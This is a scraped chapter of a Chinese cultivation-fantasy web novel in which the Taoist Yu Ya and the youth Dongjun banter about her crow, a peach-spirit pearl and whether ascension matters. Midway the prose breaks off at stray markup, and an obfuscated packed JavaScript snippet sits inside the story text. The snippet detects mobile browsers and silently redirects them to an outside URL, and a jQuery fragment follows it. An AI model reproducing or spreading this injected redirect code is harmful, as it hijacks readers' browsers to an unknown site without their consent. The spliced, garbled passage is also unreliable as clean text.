21. 问心寻道何处去?且放白鹿青崖间

二人行走在半是绿洲半是黄沙的环境之中,虽然当地环境在慢慢改变,到底不是一蹴而就,白天依旧是烈日当头,燥热难耐。


“说起来,我刚刚就想问了。”


东君双手抱臂,有些好奇地瞥了一眼虞鸦怀里的黑鸦。


“道长为何一直抱着这只黑鸦呢?它之前明明会飞啊。”


虞鸦闻言愣了一下,没想到他会问这个。


她垂眸,正好看到黑鸦炸毛瞪着东君的样子。


虞鸦失笑,轻轻按住它,慢慢顺毛,“天太热了。”


闻言,东君看了黑鸦一眼,意味不明道:“哦,我还以为它翅膀断了呢。”


“……”


虞鸦顿住,张了张嘴,欲言又止。


刚开始见黑鸦落在东君身上,虞鸦还以为黑鸦很喜欢他呢,没想到一路下来,虞鸦可算意识到,他们俩简直是一对冤家。


虞鸦垂眸,正好看见黑鸦炸毛,对着东君叽里呱啦一顿输出。


见状,东君轻哼一声,眼神漫不经心,气得黑鸦又要站起来挠他。


“咳咳,好了好了。”虞鸦上下颠了颠黑鸦,提醒它不要说脏话。


被阻止后的黑鸦郁闷,恨恨瞪一眼后,一头栽进虞鸦怀里。


那边东君斜着眼睛瞅它,轻哼一声。


“娇娇确实会飞,只是因为我抱习惯了,而且,”顿了一下,虞鸦脸上笑容淡了些:


“最近它有些精神不济,不过等我给它炼化了灵药后,也许就会恢复精神了。”


东君听到这愣了一下,偏头看了含笑望着黑鸦的虞鸦一眼。


片刻后,东君道:


“道长这只黑鸦叫娇娇?”


虞鸦望了东君一眼,他脸上看不出什么表情,似乎只是随口一问。


“对呀,多好的名字,娇娇聪明勇敢,一听名字就知道是个值得骄傲的好宝贝!”


虞鸦揉了揉哼哼嗤嗤的黑鸦,笑眯眯:“对不对啊,娇娇宝贝?”


“这样吗。”


东君瞥了一眼虞鸦怀里撅着屁股的黑鸦,意味不明道,“那这只黑鸦可真是好福气啊。”


虞鸦认真看了他一眼,道:“不不不,能认识娇娇,是我的福气才对。”


闻言,黑鸦尾巴简直要翘上天去。


它得意洋洋地伸出脑袋,蹭着虞鸦胸前发出哼哼唧唧的撒娇声音,还不忘一边用余光挑衅东君。


“呵。”


东君见它如此作态,轻轻冷笑一声,似乎在无声地鄙夷它没有出息。


虞鸦对此毫无察觉,高高兴兴地颠着黑鸦,一行人在这种诡异的气氛中继续前进。


片刻后,东君突然开口,打破了刚刚暗潮涌动的氛围:“道长是自小养着它的吗?”


闻言,虞鸦一愣,抚摸黑鸦的手停下,眼中闪过一丝追忆。


片刻后,她才摇了摇头,道:“不,我十多岁时遇见它,如今算来已经不知不觉过去很多年了。”


“很多年?”


东君眨了眨眼,调侃道:“道长方才还谦虚不是仙师,如今看来这些年过去,容貌依旧是少年模样,只怕比神仙也差不到哪里去了。”


他仗着一张白嫩的脸笑嘻嘻道:“总是道长道长的叫太生份些,不如我叫你道长姐姐如何。”


“啊?”


虞鸦眨了眨眼,一时有些不知所措。


虽然但从年龄上来说她确实不小,但是、但是——


道长姐姐什么的……还是太刺激了。


虞鸦犹豫,她看了东君一眼,小声说:“你要是愿意这么叫也可以……”


想了想,虞鸦清了清喉咙,补充道:“方才一直忘了自我介绍,我叫虞鸦,你可以直接喊我的名字。”


这会轮到东君愣住了,很快他笑道:“直呼姓名显得太不尊重了,我还是叫道长姐姐吧。”


说着他眨了眨眼,有些可怜兮兮地望着虞鸦,“是我这么叫有什么不妥当吗?”


见状,虞鸦差点咬了舌头,她目光游移:“没、没有。你怎么高兴怎么叫好了,不必在意那么多规矩。”


东君闻言笑吟吟,一双狭长的眼睛看起来莫名缱绻:“道长姐姐豁达,凡人不能及。”


虞鸦觉得自己被调戏了,她默默望了一眼身边人的身影。


嗯……怎么说呢,好像也不亏啊。


你别说,你还真别说,听着听着,还挺带劲的啊。


虞鸦眯了眯眼睛,决定不去拆穿他茶里茶气的表演。


“嘎啊啊啊——”


黑鸦不乐意了,听着左一声道长姐姐,右一句道长姐姐,终于忍无可忍从虞鸦怀里拔出头来,怒视东君,一副要恨不得咬死他的模样。


“诶呀……”


东君蹙了蹙眉头,眼神像小勾子一样在虞鸦身上刮了一下:“道长姐姐,娇娇这是怎么了,是不喜欢我这么叫吗……”


长睫微颤,堪称楚楚可怜,只是睫下双瞳闪着不明锐光,在虞鸦看不见的角落凌厉地剜了黑鸦一眼。


黑鸦:“!!”


这还得了,黑鸦蹭得一下浑身炸起来,嘴里骂骂咧咧,但就是不肯从虞鸦怀里迈出一步。


“诶诶诶?怎么回事?”


虞鸦惊呼,好不容易按住黑鸦,没有造成惨剧。


想了想,虞鸦又掏出粉珠,穿成项链给黑鸦带上。


说实话,她怕年老体衰的黑鸦气死。


“好了好了,少说两句。”虞鸦安抚似的摸了摸黑鸦的脑袋。


“东君?怎么了?”


做好这一切,见东君顿住,虞鸦伸手在他面前晃了晃,好奇问道。


那边,黑鸦叨了叨脖子上的散发着晶莹光泽的粉珠,似乎很是喜欢。


东君回神,收回目光,神情略显奇异地看向虞鸦:


“这是从道长姐姐从那片桃林中得到的天材地宝吗?如果我没猜错,像是传说中的桃灵灵胎,”


虞鸦这下真的感到诧异了,“东君还对这些有了解?”


东君闻言露出一抹笑意,声音带些自得,却不叫人讨厌,他道:“那当然,我自小喜爱看一些奇文杂书,世间奇闻轶事,或多或少都有几分了解。


其中便有介绍人面树,传说是一种奇树,与寻常桃树混合生长在一起。


树枝上挂着许多脑袋,这些脑袋是桃花的灵魂变成的,擅长编制美梦、幻境,如若有人不小心入内,恐怕会陷入美梦,在睡梦中死去化作树的养分,而人面树被斩杀后会掉落桃灵灵胎。


灵胎为粉色灵丹模样,颜色越深蕴含的力量越大,是人面树多年力量的结晶,有延年益寿、增长修为的功效。


看这颗珠子已经是深粉接近红色,想必无比珍贵。”


东君说完目光移向虞鸦,谦虚问道:“不知我说的可对?”


“对极了,东君真是博学多才。”虞鸦惊喜道,真心实意称赞。


要知道,在动手之前虞鸦知道的还没东君这么详细呢。


而东君却只凭借着桃林与这颗粉珠推断出这么多信息,他道虞鸦谦逊,这么看来,真正谦虚的是谁还不一定呢。


“只是这么珍贵的东西,姐姐就舍得给一只黑鸦了?”


东君挑眉,眼神挑剔地望着缩在虞鸦怀里的黑鸦。


闻言,虞鸦淡定摇头:“这灵胎本就是为了娇娇寻得,谈何舍得与否。”


虞鸦好奇问道:“东君说自己多看奇文杂书,那不知东君对白玉京可有了解?”


东君一挑眉,淡淡道:“那是当然,白玉京在民间记载中可是天人居所,这么有名的地方随便拉个路人恐怕都听说过。


据说凡间能人异士修行得道便能飞升至天上白玉京,只是很少有人亲眼见过。不过,”


东君话锋一转,冲虞鸦莞尔一笑,“我看道长姐姐定能成功飞升。”


虞鸦失笑,只觉得他很会说话讨人欢心,“先谢过你的吉言,不过飞升与否,也不必强求。”


闻言,原本态度散漫的东君此时倒是扭头看了眼虞鸦,眼中惊讶一闪而过:“道长姐姐为何不在意飞升?长生登仙难道不好吗?”</p


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089056|163617||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


>


虞鸦失笑:“怎么会不好?相反,我觉得好极了,只是并非人人想飞升吧。”说到这,她笑意减淡,道:“有些遗憾非长生能补,有些事情非登仙就能解决,每个人追求不同罢了......而且,凡尘间难道不好吗?”


说罢,周围一片寂静。


“那个……”虞鸦忽然觉得有些尴尬。


不知道自己怎么在东君面前一秃噜嘴说出来真实想法,听起来像一个无法飞升的凡人安慰自己的话。


她干咳一声,补充道:


“哈哈,其实这些都是我乱说的,我又怎么知道飞升成仙的好与坏呢,东君只当笑谈吧。”


你若没有天赋,天下又有几人能成真仙?


东君若有所思地收回落在虞鸦脸上的目光,他侧过脸,轻笑出声:“这番言论到还是第一次听到,道长姐姐果然见解独到,心胸豁达。”


虞鸦干咳两声,移开目光。


却听那边东君转而道:“不过,有一句话我可不赞同。”


“嗯?”虞鸦疑惑望向他,下意识问:“哪句话?”


东君眉毛一弯,从容笑道:“我看人的眼光可是很准的,我看道长姐姐这样的,不仅能飞升,还能够流芳百世,受万万人人敬仰。”


“不不不!”闻言,虞鸦先是为他这么大的口气惊讶,旋即急忙摆手,苦笑道:“东君莫要打趣我了,实在是不敢当。”


见状,东君侧脸轻笑一声,忍俊不禁道:


“道长姐姐可真有趣,别人求之不得的东西却如同什么烫手山芋一样往外推。


只是我说的可不是什么凭空捏造,就我亲眼所见,道长姐姐随手所为,便能转眼沙漠变绿洲,这便是天大的功德。”


虞鸦闻言一愣,她寻灵根是为了自己的私欲,还真没从这个角度想过。


她望向东君,疑惑道:“是,是这样吗?可是我本意并非为此……”


“当然了,有道是有心栽花花不开,无心插柳柳成荫。


论迹不论心,这不也正符合修道之人的标准吗。”


虞鸦顿住,陷入思考。


半晌才恍然回神,对上少年含笑意的眼睛,也不知看了多久。


虞鸦有些手忙脚乱,“咳咳。”


东君笑意愈深,虞鸦目光躲闪,不敢直视他的眼睛。


缓了一会儿,她有些感慨道:


“我原本一直觉得自己是个没什么用的人,被东君你这么一说,马上就要飘飘然了。”


“哈哈哈哈,怎么会,道长姐姐未免太看不起自己了,过分的自谦可不是什么好事,你已经做得很好了。”


虞鸦听到他这么说,一时心底不知道是什么滋味,也许是独行太久,突然遇到一个能聊得上话的人,说的话还非常动听,让虞鸦莫名感动。


虞鸦感叹道:“东君可真会说话,句句都说到人心坎里,今日一见不似初识,倒像是旧友。”


闻言,东君停下脚步,认真望向虞鸦,道:


“没想到道长姐姐也有这种感觉,我一见到道长姐姐就觉得面善,有道是倾盖如故,白首如新,说不定我和道长姐姐之间有特殊的缘分。”


“那道长姐姐你呢?”他期待的望着虞鸦,问道:“姐姐觉得我怎么样?”


他眼底含着笑意,俏皮地眨了眨眼,虞鸦被他孩子气的举动逗笑,附和道:“是、是,如东君这般的人,想必没有人不会喜欢。”


没想到虞鸦真的会回答,这会倒是轮到东君愣住,他摸了摸鼻子,含含糊糊道:“要不相干的人喜欢干嘛,只要我在意的人喜欢我就够了。”


虞鸦听见,忍不住笑道:“东君这想法潇洒,倒是与我不谋而合,看来,当真是有缘。”


东君唇角挂着一丝笑意,目光眺望不远处。


半晌,回应道:“嗯,有缘。”


此一番聊后,虞鸦竟有些茅塞顿开之感。


她本对这少年抱有防备之心,此番后,却觉自己以小人之心度君子之腹。


世间缘分若如此,又何必执着问来路。